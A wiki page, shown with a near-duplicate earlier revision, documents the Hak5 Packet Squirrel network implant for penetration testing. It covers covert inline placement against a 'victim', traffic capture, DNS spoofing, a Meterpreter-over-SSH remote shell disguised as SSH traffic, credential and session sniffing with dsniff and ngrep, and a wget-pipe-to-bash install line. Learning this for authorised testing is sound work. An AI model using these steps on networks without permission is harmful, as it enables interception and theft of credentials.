Elvis Wiki - User contributions [en]

Hak5 Packet Squirrel

2023-08-17T08:51:59Z

ARessl: /* References */ changed references to new links

== Summary ==
[[File:Packet Squirrel Connectors.jpg |thumb|right|400px||Packet Squirrel device]]

The Packet Squirrel operates as an Ethernet Man in the Middle and comes preloaded with three exploit scripts. These three attack modes are Logging Network Traffic, Spoofing DNS and OpenVPN Tunnel. These can also be modified and exchanged with other scripts. It's stealthy pocket-size enables it to be placed without notice, this can come in handy for penetration testers. The efficient energy usage makes it possible to power it with a battery pack to run over a week.
The Packet Squirrel can also be combined with the [https://docs.hak5.org/hc/en-us/categories/360001177114-Cloud-C2 Hak5 Cloud C2], a command and control server specially for Hak5 devices.

The device brings following characteristics with it:
# Dimensions: 50 x 40 x 15 mm – small and lightweight with 24 grams
# Consumption: 0,12A using a Micro-USB-Port
## Can be run with a battery pack
# Ports: 2 x RJ45-Ethernet-Port | 1 x USB-Port for a flash drive | Micro-USB-Port for power supply
# OS: Runs a Linux platform with root access and common network utilities
# Hardware
## LED indicating the status of the device
## Payload Selection Switch to choose the respective payload
## Scriptable push-button to stop payloads with ease

==== Possible attacks with the Packet Squirrel ====

The '''Man-in-the-Middle Attack (MITM)''' is a popular cyber security attack which is described by an attacker interfering physically, or nowadays often logically, the communication between two or more network targets. Thus, the attacker gains complete control over the data traffic and can read, store, block, manipulate or delete the data traffic. The crux of the attack is that the attacker pretends to be the respective counterpart to the communication partners.

The MITM-Attack can be realized by another attack called '''Spoofing'''. Spoofing is when a hacker pretends to be someone known to an individual or network host to access confidential information. Spoofing can technically occur in many ways, among others ARP, DHCP or DNS Spoofing.

== Community ==

Hak5 does not only provide the opportunity to use following payloads fluently and easy using the switch on the side but additionally fosters building a [https://hak5.org/pages/payloads community] regarding all there devices.

The Hak5-webiste provides a way of submitting self-made payloads or to ask questions in a [https://forums.hak5.org/forum/94-packet-squirrel/ forum]. To promote the development of new payloads and to reward creativity, effort and collaboration Hak5 provides the possibility to submit a payload to “Hak5 Payload Awards” to receive a monetary reward in a hight of $ 2.000, -. The winner will be decided yearly by the voting community.

Through [https://github.com/hak5/packetsquirrel-payloads Hak5’s Github-Account] payloads are made available to public and can be downloaded/cloned within the respective repository.

== Description ==
[[File:Hak5_Squirrel_version.jpg|thumb|right|400px||SSH connect]]
[[File:Hak5_Squirrel_spoofhost.jpg|thumb|right|400px||spoofhost file]]
[[File:Hak5_Squirrel_browser.jpg|thumb|right|400px||Spoofed browser warning]]

The Packet Squirrel has an switch to choose between the three exploit payloads for logging the TCP dump, Using VPN Tunnelling and for DNS spoofing, or Arming Mode.

In '''Arming Mode''' (switch in 4th position, nearest to the USB port) you can easily access the device with ssh <code>root@172.16.32.1</code> with the password <code>hak5squirrel</code>. Therefore Packet Squirrel acts as DHCP server. If you don't get an IP address, manually configure an IP from the 172.16.32.0/24 network on your ethernet interface. Arming Mode is indicated by a blue blinking LED an allows to configure the different payloads.

It is also possible to gain ssh access to the device during the attack modes with the IP address of the outgoing Ethernet interface as well.

==== Basic Cable Setup ====

# Plug the victims Ethernet cable into the "Ethernet In" Port
# Plug the gateway Ethernet cable into the "Ethernet Out" Port
# Power the device by plugging in the power cable

==== Firmware Upgrade ====

Shiped devices are installed with version 1.0, which can be seen in the VERSION file in the Packet Squirrel root folder. The current version 3.2 can be downloaded from the [https://downloads.hak5.org/squirrel Hak5 website].

The file has to be named upgrade-version.bin (where version stands for the version number) and copied to the root directory of an NTFS or EXT4 formatted USB drive.

Plug in the USB drive in the Packet Squirrel and set the select switch to Arming Mode. Then power on the Packet Squirrel.

The upgrade process needs 5 minutes and is indicated by a solid red or blue LED light. When the firmware upgrade is finished, Packet Squirrel reboots and goes in Arming Mode. Shown by a blue blinking LED.

Then you can connect again with SSH and verify the new version, shown in Figure "SSH connect".

==== Manual upgrade ====

It is also possible to manually upgrade the firmware of the Packet Squirrel by:

# Download the latest firmware from the website linked above and verify the checksum
# Switch into “Arming Mode” and power on the device
# Use SCP to transfer the file to Packet Squirrel’s /tmp directory. The appropriate command could be: scp upgrade-x.x.bin root@172.16.32.1:/tmp/
# Use SSH (command: ssh root@172.16.31.1) to connect to Packet Squirrel’s bash prompt and use the sysupgrade command (sysupgrade -n /tmp/upgrade-x.x.bin) to start the firmware update
# The process may take 5-10 minutes. Do NOT unplug the device during the process, otherwise the device could become inoperable.

==== Formatting the USB-Stick ====

The Hak5 Packet Squirrel can only operate with a USB disk that is formatted with an NTFS or EXT4 file system.

NTFS (New Technology File System) is a proprietary journaling file system that was developed by Microsoft and offers targeted access protection at file level and greater data security through journaling and is not limited to a file size of 4GB as e.g. FAT. Formatting is performed with following steps:

# On a Windows-machine:
## Find and open your file explorer on Windows
## Locate your USB-Stick in the left bar
## Select “Format”
## Set NTFS as file system using the drop down, tick “Quick Format” and click “Start”

EXT4 is the fourth extended filesystem that was developed for the Linux Kernel and like NTFS a journaling file system. Windows cannot directly format a USB-Stick to the EXT4 format and therefore there is a need for an third-party tool. A USB-Stick is formatted to EXT4 using following steps:

# On a Windows-machine:
## Download and install [https://www.diskgenius.com/download.php DiskGuard]
## Select your drive from the left bar
## Select the “Format”-button at the top bar
## Select the wanted file system “EXT4” from the drop down menu
## Click “Format”

== Payloads ==

Payloads can be stored on an external USB disk or on the device’s internal memory. On boot the device gives priority to payloads on the USB disk, other payloads existing on the internal memory will be overridden. If no USB disk is available, payloads stored on the internal memory are executed. Payloads on the internal memory are stored in /root/payloads and need to be called switch1, switch2 and switch3, payloads on an USB disk should be stored in /payloads/ and named accordingly.

=== Logging Network Traffic ===

This mode creates TCP/UDP dumps and saves them on the USB drive to analyse later on.
Just follow these easy steps:

# A USB Stick with an NTFS file system needs to be plugged in the USB-A Port before the Squirrel is Powered up.
# Flip the first position (which is nearest to the micro USB power in).
# Connect the Ethernet cable of the victim into the Ethernet port, which is at the same side as the power in USB connector and Connect the Gateway Ethernet cable to the other Port.
# Plug the power cable in and wait the one minute long start up sequence. The device can be either powered by the victim machine or by an USB power bank.
# The data traffic will be captured, if the LED starts blinking Yellow. If otherwise the LED circles between red, green and blue, then the USB stick has the wrong file system.
# Stop the capturing process by pressing the Button. Then the device takes some seconds to write the tcpdum to the USB Storage. As soon as the LED glows red the saving process has ended and you are good to go.
# You can now analyse the captured pcap file, located in \loot\tcpdump with [[Wireshark]].

After that, the connection trough the Packet Squirrel is shut down. To allow the client to connect to the network again, Packet Squirrel has to be rebooted.

=== DNS Spoofing Mode ===

This mode spoofs the client with DNS entries to redirect traffic to other IP addresses.

# For this mode we have to start in arming mode (switch at fourth position)
# After gaining access with ssh we change to the DNS spoofing directory with <code>cd /payloads/switch2</code>.
# There we can define the Spoofed domain names by editing the file spoofhost with <code>nano spoofhost</code>.
# In the file add entrys like <code>address=/myspoofdomain.at/194.232.104.140</code> as shown in figure "spoofhost file". The example IP belongs to orf.at
# Unplug the Packet Squirrel and shift the switch to the second position.
# Plug it in and wait until the startup sequence is finished and the LED starts blinking yellow.

By browsing to the spoofed domain, the request gets redirected to the given IP. As shown in figure "Spoofed browser warning" browsers show certificate alerts because the domain and certificate do not match. But this mode can still be used to attack other applications which use domains with no validation.

=== OpenVPN Mode ===
[[File:Packet Squirrel VPN1.jpg |thumb|right|400px||OpenVPN Access Mode]]
[[File:Packet Squirrel VPN2.jpg |thumb|right|400px||OpenVPN Tunneling Mode]]

The VPN payload implements VPN access mode and VPN tunnelling mode.
If you want to Setup your own OpenVPN (OVPN) server follow the instructions at the [https://docs.hak5.org/hc/en-us/articles/360010554013-OpenVPN-Payload hak5 webpage]. For the purpose of testing we use use an existing server from [https://www.freeopenvpn.org/en/ freeopenvpn.org].
# Start by selecting the desired server and download the the OVPN access certificate.
# Set the Packet Squirrel in Arming Mode and connect to its shell
# Copy the certificate with <code>scp user@server:downloadfolder/filename.ovpn /root/payloads/switch3/config.ovpn</code>
# Steer to the directory with <code> cd /root/payloads/switch3/</code>
# Edit the config.ovpn at line 30 to <code>auth-user-pass credentials.txt</code>
# Add an credentials file with <code> nano credentials.txt</code> and add the two lines:
## <code>freeopenvpn</code>
## <code><the displayed password></code>
# Before starting the VPN we choose the VPN mode:
## Open the <code>payload.sh</code>
## Set the <code>For_Clients=</code> to
### <code>0</code> for Access Mode
### <code>1</code> for Tunneling Mode
# Now set the Switch the the third Position and plug power out and in again
# You are good to go, if the yellow LED starts to flash after the boot up sequence
==== Access Mode ====

Access mode allows the squirrel to access the VPN Network via the Secure Shell
If the connection was established if the command <code>ifconfig tun0</code> show the following output when it is issued at the Packet Squirrels Shell.
tun0
Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:192.168.231.245 P-t-P:192.168.231.245 Mask:255.255.255.0
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:12 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:1404 (1.3 KiB) TX bytes:608 (608.0 B)

The Access Mode can be used to access an Private network that is used for testing and pen testing purposes like an honeypot virtual machine.

==== Tunneling Mode ====

The Tunnelling mode encapsulates all the traffic and sends it to the VPN Server, from where it is send to the internet. VPN Tunnelling allows users to disguise their IP address you can check your current IP address with [https://www.ipchicken.com ipchicken.com].

You can also install an simple openVPN Server on a linux machine with
<code>wget https://git.io/vpn -O openvpn.sh && bash openvpn.sh</code>
and press Enter 6 times.
Then copy the generated client.ovpn file to Packet Squirrel in the /payload/switch3 folder and restart it with the switch on third position.
=== Meterpreter-via-SSH ===
[[File:Packet squirrel meterpreter ssh.PNG |thumb|right|400px||Packet Squirrel Payload Meterpreter-via-SSH settings]]
This payload starts the Packet Squirrel in NAT mode and waits for user input. When the button is pressed, the payload connects to a remote SSH server and creates a local port tunnel. It then launches a meterpreter shell over the tunnel.
The intent is to hide the meterpreter network traffic behind a legitimate SSH activity.
You can download this payload from the offical [https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads/library/remote-access/Meterpreter-via-SSH hak5 github].
==== Getting Started ====
Copy the playload to the Packet Squirrel into the desired switch folder. Now edit the scirpt to configure your server options:
* SSH_USER - username on remote SSH server
* SSH_HOST - ip address of remote SSH Server

'''Note:''' If you changed the default meterpreter port don't forget to change it on the metasploit side as well.
* MSF_PORT

===== Generate SSH Key on Squirrel =====
Now you have to generate an ssh key-pair (just use default location and empty password) on your Packet Squirrel:
root@squirrel:~# ssh-keygen
===== Allow Squirrel on SSH Server =====
Then you have to copy the contents of /root/.ssh/id_rsa.pub from Packet Squirrel to the SSH Server authorized file:

user@server:~# mkdir ~/.ssh
user@server:~# echo 'paste id_rsa.pub contents inside this quote' > ~/.ssh/authorized_keys
===== Run Metasploit with Resource =====
msf@server:~# msfconsole -r server.rc

==== LED Definitions ====
# Configure NETMODE
#* Solid Magenta
# Connect to SSH Server
#* SUCCESS - Blink Amber 5 Times
#* FAIL - Blink Red 2 Times
# Launch meterpreter
#* SUCESS - Blink Cyan 1 Time
#* FAIL - Blink Red 1 Time

==== Hardening Recommendations ====
# Use an accout with limited privileges for SSH acces on the server.
# User a dedicated account for Packet Squirrel device (audit usage with SSH access logs).
# Disable PasswordAuthentication in sshd_config on the server.

=== ISpyintel ===
[[File:Packet squirrel ispyintel.PNG |thumb|right|400px||Packet Squirrel Payload ISpyIntel settings]]
This payload will automate gathering various recon data on whatever passes between it's Ethernet ports. You can download this payload from the [https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads/library/sniffing/ispyintel official hak5 github].
'''Note:''' This payload requires a usb stick to store loot.
==== Setup ====
# Edit the config variables at the top. The main variables are:
## <code>lootPath="/mnt/loot/intel" # Path to loot</code>
## <code>mode="TRANSPARENT" # Network mode we want to use</code>
## <code>interface="br-lan" # Interface to listen on</code>
# Copy payload.sh into the ~/payloads/switch folder you wish to deploy on.
# Connect into a target machine with access to the LAN.
# Set switch to the spot and power up.
# Leave, get coffee, take a nap while everything is recorded and parsed for future use.
# When done; hit the button. The LED will rapidly flash white to let you know it is finishing up.
# When all is done the LED will just go blank. It is now safe to unplug and go about your day.

==== Tasks that are started ====
* tcpdump - records every packet that was send and received
* urlsnarf - collects all websites that were visited
* dsniff - attempts to acquire passwords and what not
* ngrep - on ports 80 and 21 with the filter for common password fields
* ngrep - on ports 80 and 21 with the filter for common session id fields
* log.txt - logs the progress of the payload for troubleshooting

==== Clean Up ====
Once the button is pressed the payload will automatically parse the TCPDump log file for the following items and store the results in seperate files.
As this process can take some time the LED will change to a rapid white blink letting you know the button command was recieved and the payload is in the process of shutting down.
* ipv4found.txt Will contain a unique list of all the ipv4 which the pcap file contains
* maybeEmails.txt Is a very loose search for possible email addresses that came across the wire in plain text.

=== Creating your own Payloads ===

Ducky Script is the payload language of Hak5 and consists of several simple commands specific to the Packet Squirrel hardware and bash. The basic Ducky Script commands are describe below and include NETMODE, LED, BUTTON and SWITCH.

The Packet Squirrel allows us to create our own attack payloads by loading them to the USB stick and naming them Switch1 to Switch3.
It allows as to create payload in python, bash or PHP. For Python and Bash it is important to use the interpreter directive Python: <code>#!/usr/bin/python</code>, bash: <code>#!/usr/bin/bash</code>.
Bash scripts can access the following pre-installed tools:
openvpn, autossh, tcpdump, meterpreter-https, cron, nmap, ncat-ssl, ncat, sshfs, tcpdump and wget

The featured Squirrel Script offers the following additional commands:

* NETMODE
specifies which network mode Packet Sqirrel uses and how traffic is routed

{| class="wikitable"
|-
! Command !! Description
|-
| NETMODE BRIDGE || Creates a bridge between the IN and OUT ehternet interface, with an own IP address for Packet Sqirrel
|-
| NETMODE TRANSPARENT || Also creates a bridge between the interfaces but with no own IP address
|-
| NETMODE NAT || Packet Squirrel gets an IP address from the target network, the client gets an IP from Packet Squirrel
|-
| NETMODE VPN || same as NAT with VPN interface for client tunneling
|-
| NETMODE CLONE || Clones the MAC address from the target client and uses it to connect to the LAN
|}

* LED
with this command the multi-color LED can be controlled.

Further information regarding the LED, its colors, patterns and states can be found [https://docs.hak5.org/hc/en-us/articles/360010554653-LED here].

{| class="wikitable"
|-
! Possible configurations !! Description
|-
| LED Colors || red, green, blue, yellow, cyan, magenta, white
|-
| LED Patterns || SOLID, SLOW, FAST, SINGLE, DOUBLE, TRIPLE, SUCCESS, 1-10000
|-
| LED State || SETUP, FAIL, ATTACK, STAGE, SPECIAL, CLEANUP, FINISH
|}

* BUTTON
The BUTTON command pauses the paylpoad until the hardware button is pressed or a specified time has passed.

Further information regarding the Ducky Script’s “Button” command like its return value, possible ways of configuring the wait time, LED color during the pause as well as the option to suppress the LED can be found [https://docs.hak5.org/hc/en-us/articles/360010554673-BUTTON here].

* SWITCH
The SWITCH command returns the current position of the hardware payload selection switch. Output is "switch1", "switch2", "switch3" or "switch4".

==== Example and Best Practices ====
[[File:Hak5 C2 start.jpg |thumb|right|400px||C2 server start]]
[[File:Hak5 c2 dashboard.jpg |thumb|right|400px||C2 Dashboard]]
[[File:Hak5 c2 sqirrel.jpg |thumb|right|400px||C2 Packet Squirrel]]

As shown below, payloads should begin with comments specifying the name of the payload, a description, the author(s), the target, special requirements, category, netmodes and the LED status.

Configurable options should be placed on the top of the payload file.

The LED should be used regarding common payload states and not with unique pattern combinations. The LED command should precede the NETMODE command indicating a specific state like SETUP or even FAIL if specific conditions are not met. If a payload reaches a FINISH state, the Packet Squirrel is safe to power off.

Here is an example for the usage of Squirrel Script.

<syntaxhighlight lang="bash">
# Title: Caternet
# Author: Hak5Darren
# Version: 1.0
# Description: Forwards all traffic to local webserver hosting cat photos.
# Props: In loving memory of Hak5Kerby

LED SETUP
NETMODE NAT
echo "address=/#/172.16.32.1" > /tmp/dnsmasq.address
/etc/init.d/dnsmasq restart

LED ATTACK
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
python -m SimpleHTTPServer 80
</syntaxhighlight>

For more information go to the [https://docs.hak5.org/hc/en-us/sections/360002180414-Payload-Development hak5.org webpage].

== with Cloud C2 ==

The [https://docs.hak5.org/hc/en-us/categories/360001177114-Cloud-C2 Hak5 Cloud C2] is a command and control server for Hak5 devices. Installation and startup is shown in figure "C2 server start". By browsing to the configured address you can login to the dashboard, shown in figure "C2 dashboard".

To connect the Packet Squirrel with your C2 Cloud, click on the plus button in the lower right corner and choose the device. On the dashboard, open the added device and click on Setup, as shown in figure "C2 Packet Sqirrel". Then copy the downloaded file to the Packet Squirrel's /etc folder and reboot it.
In the Overview tab you can also Edit, Reboot, Wipe and Remove your device.

In the Clients tab you can see all clients which were connected to your Packet Squirrel with hostname, MAC and IP address. In the Loot tab, you can open the current loot from your Packet Squirrel directly on your C2 server. And in the Terminal tab you can open a ssh session to your device.

== Used Hardware ==

[[Packet Squirrel + Field Guide]]

== References ==

* https://docs.hak5.org/packet-squirrel/
* https://docs.hak5.org/cloud-c2/
* https://docs.hak5.org/packet-squirrel/payload-development/ducky-script-for-packet-squirrel
* https://downloads.hak5.org/
* https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads

[[Category:Pentesting]]

Hak5 Packet Squirrel

2023-08-17T08:51:19Z

ARessl: /* References */ changed references to new links

Hak5 Packet Squirrel

2023-08-17T08:09:25Z

ARessl: Changed used Hardware to the current one

== Summary ==
[[File:Packet Squirrel Connectors.jpg |thumb|right|400px||Packet Squirrel device]]

The Packet Squirrel operates as an Ethernet Man in the Middle and comes preloaded with three exploit scripts. These three attack modes are Logging Network Traffic, Spoofing DNS and OpenVPN Tunnel. These can also be modified and exchanged with other scripts. It's stealthy pocket-size enables it to be placed without notice, this can come in handy for penetration testers. The efficient energy usage makes it possible to power it with a battery pack to run over a week.
The Packet Squirrel can also be combined with the [https://docs.hak5.org/hc/en-us/categories/360001177114-Cloud-C2 Hak5 Cloud C2], a command and control server specially for Hak5 devices.

The device brings following characteristics with it:
# Dimensions: 50 x 40 x 15 mm – small and lightweight with 24 grams
# Consumption: 0,12A using a Micro-USB-Port
## Can be run with a battery pack
# Ports: 2 x RJ45-Ethernet-Port | 1 x USB-Port for a flash drive | Micro-USB-Port for power supply
# OS: Runs a Linux platform with root access and common network utilities
# Hardware
## LED indicating the status of the device
## Payload Selection Switch to choose the respective payload
## Scriptable push-button to stop payloads with ease

==== Possible attacks with the Packet Squirrel ====

The '''Man-in-the-Middle Attack (MITM)''' is a popular cyber security attack which is described by an attacker interfering physically, or nowadays often logically, the communication between two or more network targets. Thus, the attacker gains complete control over the data traffic and can read, store, block, manipulate or delete the data traffic. The crux of the attack is that the attacker pretends to be the respective counterpart to the communication partners.

The MITM-Attack can be realized by another attack called '''Spoofing'''. Spoofing is when a hacker pretends to be someone known to an individual or network host to access confidential information. Spoofing can technically occur in many ways, among others ARP, DHCP or DNS Spoofing.

== Community ==

Hak5 does not only provide the opportunity to use following payloads fluently and easy using the switch on the side but additionally fosters building a [https://hak5.org/pages/payloads community] regarding all there devices.

The Hak5-webiste provides a way of submitting self-made payloads or to ask questions in a [https://forums.hak5.org/forum/94-packet-squirrel/ forum]. To promote the development of new payloads and to reward creativity, effort and collaboration Hak5 provides the possibility to submit a payload to “Hak5 Payload Awards” to receive a monetary reward in a hight of $ 2.000, -. The winner will be decided yearly by the voting community.

Through [https://github.com/hak5/packetsquirrel-payloads Hak5’s Github-Account] payloads are made available to public and can be downloaded/cloned within the respective repository.

== Description ==
[[File:Hak5_Squirrel_version.jpg|thumb|right|400px||SSH connect]]
[[File:Hak5_Squirrel_spoofhost.jpg|thumb|right|400px||spoofhost file]]
[[File:Hak5_Squirrel_browser.jpg|thumb|right|400px||Spoofed browser warning]]

The Packet Squirrel has an switch to choose between the three exploit payloads for logging the TCP dump, Using VPN Tunnelling and for DNS spoofing, or Arming Mode.

In '''Arming Mode''' (switch in 4th position, nearest to the USB port) you can easily access the device with ssh <code>root@172.16.32.1</code> with the password <code>hak5squirrel</code>. Therefore Packet Squirrel acts as DHCP server. If you don't get an IP address, manually configure an IP from the 172.16.32.0/24 network on your ethernet interface. Arming Mode is indicated by a blue blinking LED an allows to configure the different payloads.

It is also possible to gain ssh access to the device during the attack modes with the IP address of the outgoing Ethernet interface as well.

==== Basic Cable Setup ====

# Plug the victims Ethernet cable into the "Ethernet In" Port
# Plug the gateway Ethernet cable into the "Ethernet Out" Port
# Power the device by plugging in the power cable

==== Firmware Upgrade ====

Shiped devices are installed with version 1.0, which can be seen in the VERSION file in the Packet Squirrel root folder. The current version 3.2 can be downloaded from the [https://downloads.hak5.org/squirrel Hak5 website].

The file has to be named upgrade-version.bin (where version stands for the version number) and copied to the root directory of an NTFS or EXT4 formatted USB drive.

Plug in the USB drive in the Packet Squirrel and set the select switch to Arming Mode. Then power on the Packet Squirrel.

The upgrade process needs 5 minutes and is indicated by a solid red or blue LED light. When the firmware upgrade is finished, Packet Squirrel reboots and goes in Arming Mode. Shown by a blue blinking LED.

Then you can connect again with SSH and verify the new version, shown in Figure "SSH connect".

==== Manual upgrade ====

It is also possible to manually upgrade the firmware of the Packet Squirrel by:

# Download the latest firmware from the website linked above and verify the checksum
# Switch into “Arming Mode” and power on the device
# Use SCP to transfer the file to Packet Squirrel’s /tmp directory. The appropriate command could be: scp upgrade-x.x.bin root@172.16.32.1:/tmp/
# Use SSH (command: ssh root@172.16.31.1) to connect to Packet Squirrel’s bash prompt and use the sysupgrade command (sysupgrade -n /tmp/upgrade-x.x.bin) to start the firmware update
# The process may take 5-10 minutes. Do NOT unplug the device during the process, otherwise the device could become inoperable.

==== Formatting the USB-Stick ====

The Hak5 Packet Squirrel can only operate with a USB disk that is formatted with an NTFS or EXT4 file system.

NTFS (New Technology File System) is a proprietary journaling file system that was developed by Microsoft and offers targeted access protection at file level and greater data security through journaling and is not limited to a file size of 4GB as e.g. FAT. Formatting is performed with following steps:

# On a Windows-machine:
## Find and open your file explorer on Windows
## Locate your USB-Stick in the left bar
## Select “Format”
## Set NTFS as file system using the drop down, tick “Quick Format” and click “Start”

EXT4 is the fourth extended filesystem that was developed for the Linux Kernel and like NTFS a journaling file system. Windows cannot directly format a USB-Stick to the EXT4 format and therefore there is a need for an third-party tool. A USB-Stick is formatted to EXT4 using following steps:

# On a Windows-machine:
## Download and install [https://www.diskgenius.com/download.php DiskGuard]
## Select your drive from the left bar
## Select the “Format”-button at the top bar
## Select the wanted file system “EXT4” from the drop down menu
## Click “Format”

== Payloads ==

Payloads can be stored on an external USB disk or on the device’s internal memory. On boot the device gives priority to payloads on the USB disk, other payloads existing on the internal memory will be overridden. If no USB disk is available, payloads stored on the internal memory are executed. Payloads on the internal memory are stored in /root/payloads and need to be called switch1, switch2 and switch3, payloads on an USB disk should be stored in /payloads/ and named accordingly.

=== Logging Network Traffic ===

This mode creates TCP/UDP dumps and saves them on the USB drive to analyse later on.
Just follow these easy steps:

# A USB Stick with an NTFS file system needs to be plugged in the USB-A Port before the Squirrel is Powered up.
# Flip the first position (which is nearest to the micro USB power in).
# Connect the Ethernet cable of the victim into the Ethernet port, which is at the same side as the power in USB connector and Connect the Gateway Ethernet cable to the other Port.
# Plug the power cable in and wait the one minute long start up sequence. The device can be either powered by the victim machine or by an USB power bank.
# The data traffic will be captured, if the LED starts blinking Yellow. If otherwise the LED circles between red, green and blue, then the USB stick has the wrong file system.
# Stop the capturing process by pressing the Button. Then the device takes some seconds to write the tcpdum to the USB Storage. As soon as the LED glows red the saving process has ended and you are good to go.
# You can now analyse the captured pcap file, located in \loot\tcpdump with [[Wireshark]].

After that, the connection trough the Packet Squirrel is shut down. To allow the client to connect to the network again, Packet Squirrel has to be rebooted.

=== DNS Spoofing Mode ===

This mode spoofs the client with DNS entries to redirect traffic to other IP addresses.

# For this mode we have to start in arming mode (switch at fourth position)
# After gaining access with ssh we change to the DNS spoofing directory with <code>cd /payloads/switch2</code>.
# There we can define the Spoofed domain names by editing the file spoofhost with <code>nano spoofhost</code>.
# In the file add entrys like <code>address=/myspoofdomain.at/194.232.104.140</code> as shown in figure "spoofhost file". The example IP belongs to orf.at
# Unplug the Packet Squirrel and shift the switch to the second position.
# Plug it in and wait until the startup sequence is finished and the LED starts blinking yellow.

By browsing to the spoofed domain, the request gets redirected to the given IP. As shown in figure "Spoofed browser warning" browsers show certificate alerts because the domain and certificate do not match. But this mode can still be used to attack other applications which use domains with no validation.

=== OpenVPN Mode ===
[[File:Packet Squirrel VPN1.jpg |thumb|right|400px||OpenVPN Access Mode]]
[[File:Packet Squirrel VPN2.jpg |thumb|right|400px||OpenVPN Tunneling Mode]]

The VPN payload implements VPN access mode and VPN tunnelling mode.
If you want to Setup your own OpenVPN (OVPN) server follow the instructions at the [https://docs.hak5.org/hc/en-us/articles/360010554013-OpenVPN-Payload hak5 webpage]. For the purpose of testing we use use an existing server from [https://www.freeopenvpn.org/en/ freeopenvpn.org].
# Start by selecting the desired server and download the the OVPN access certificate.
# Set the Packet Squirrel in Arming Mode and connect to its shell
# Copy the certificate with <code>scp user@server:downloadfolder/filename.ovpn /root/payloads/switch3/config.ovpn</code>
# Steer to the directory with <code> cd /root/payloads/switch3/</code>
# Edit the config.ovpn at line 30 to <code>auth-user-pass credentials.txt</code>
# Add an credentials file with <code> nano credentials.txt</code> and add the two lines:
## <code>freeopenvpn</code>
## <code><the displayed password></code>
# Before starting the VPN we choose the VPN mode:
## Open the <code>payload.sh</code>
## Set the <code>For_Clients=</code> to
### <code>0</code> for Access Mode
### <code>1</code> for Tunneling Mode
# Now set the Switch the the third Position and plug power out and in again
# You are good to go, if the yellow LED starts to flash after the boot up sequence
==== Access Mode ====

Access mode allows the squirrel to access the VPN Network via the Secure Shell
If the connection was established if the command <code>ifconfig tun0</code> show the following output when it is issued at the Packet Squirrels Shell.
tun0
Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:192.168.231.245 P-t-P:192.168.231.245 Mask:255.255.255.0
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:12 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:1404 (1.3 KiB) TX bytes:608 (608.0 B)

The Access Mode can be used to access an Private network that is used for testing and pen testing purposes like an honeypot virtual machine.

==== Tunneling Mode ====

The Tunnelling mode encapsulates all the traffic and sends it to the VPN Server, from where it is send to the internet. VPN Tunnelling allows users to disguise their IP address you can check your current IP address with [https://www.ipchicken.com ipchicken.com].

You can also install an simple openVPN Server on a linux machine with
<code>wget https://git.io/vpn -O openvpn.sh && bash openvpn.sh</code>
and press Enter 6 times.
Then copy the generated client.ovpn file to Packet Squirrel in the /payload/switch3 folder and restart it with the switch on third position.
=== Meterpreter-via-SSH ===
[[File:Packet squirrel meterpreter ssh.PNG |thumb|right|400px||Packet Squirrel Payload Meterpreter-via-SSH settings]]
This payload starts the Packet Squirrel in NAT mode and waits for user input. When the button is pressed, the payload connects to a remote SSH server and creates a local port tunnel. It then launches a meterpreter shell over the tunnel.
The intent is to hide the meterpreter network traffic behind a legitimate SSH activity.
You can download this payload from the offical [https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads/library/remote-access/Meterpreter-via-SSH hak5 github].
==== Getting Started ====
Copy the playload to the Packet Squirrel into the desired switch folder. Now edit the scirpt to configure your server options:
* SSH_USER - username on remote SSH server
* SSH_HOST - ip address of remote SSH Server

'''Note:''' If you changed the default meterpreter port don't forget to change it on the metasploit side as well.
* MSF_PORT

===== Generate SSH Key on Squirrel =====
Now you have to generate an ssh key-pair (just use default location and empty password) on your Packet Squirrel:
root@squirrel:~# ssh-keygen
===== Allow Squirrel on SSH Server =====
Then you have to copy the contents of /root/.ssh/id_rsa.pub from Packet Squirrel to the SSH Server authorized file:

user@server:~# mkdir ~/.ssh
user@server:~# echo 'paste id_rsa.pub contents inside this quote' > ~/.ssh/authorized_keys
===== Run Metasploit with Resource =====
msf@server:~# msfconsole -r server.rc

==== LED Definitions ====
# Configure NETMODE
#* Solid Magenta
# Connect to SSH Server
#* SUCCESS - Blink Amber 5 Times
#* FAIL - Blink Red 2 Times
# Launch meterpreter
#* SUCESS - Blink Cyan 1 Time
#* FAIL - Blink Red 1 Time

==== Hardening Recommendations ====
# Use an accout with limited privileges for SSH acces on the server.
# User a dedicated account for Packet Squirrel device (audit usage with SSH access logs).
# Disable PasswordAuthentication in sshd_config on the server.

=== ISpyintel ===
[[File:Packet squirrel ispyintel.PNG |thumb|right|400px||Packet Squirrel Payload ISpyIntel settings]]
This payload will automate gathering various recon data on whatever passes between it's Ethernet ports. You can download this payload from the [https://github.com/hak5/packetsquirrel-payloads/tree/master/payloads/library/sniffing/ispyintel official hak5 github].
'''Note:''' This payload requires a usb stick to store loot.
==== Setup ====
# Edit the config variables at the top. The main variables are:
## <code>lootPath="/mnt/loot/intel" # Path to loot</code>
## <code>mode="TRANSPARENT" # Network mode we want to use</code>
## <code>interface="br-lan" # Interface to listen on</code>
# Copy payload.sh into the ~/payloads/switch folder you wish to deploy on.
# Connect into a target machine with access to the LAN.
# Set switch to the spot and power up.
# Leave, get coffee, take a nap while everything is recorded and parsed for future use.
# When done; hit the button. The LED will rapidly flash white to let you know it is finishing up.
# When all is done the LED will just go blank. It is now safe to unplug and go about your day.

==== Tasks that are started ====
* tcpdump - records every packet that was send and received
* urlsnarf - collects all websites that were visited
* dsniff - attempts to acquire passwords and what not
* ngrep - on ports 80 and 21 with the filter for common password fields
* ngrep - on ports 80 and 21 with the filter for common session id fields
* log.txt - logs the progress of the payload for troubleshooting

==== Clean Up ====
Once the button is pressed the payload will automatically parse the TCPDump log file for the following items and store the results in seperate files.
As this process can take some time the LED will change to a rapid white blink letting you know the button command was recieved and the payload is in the process of shutting down.
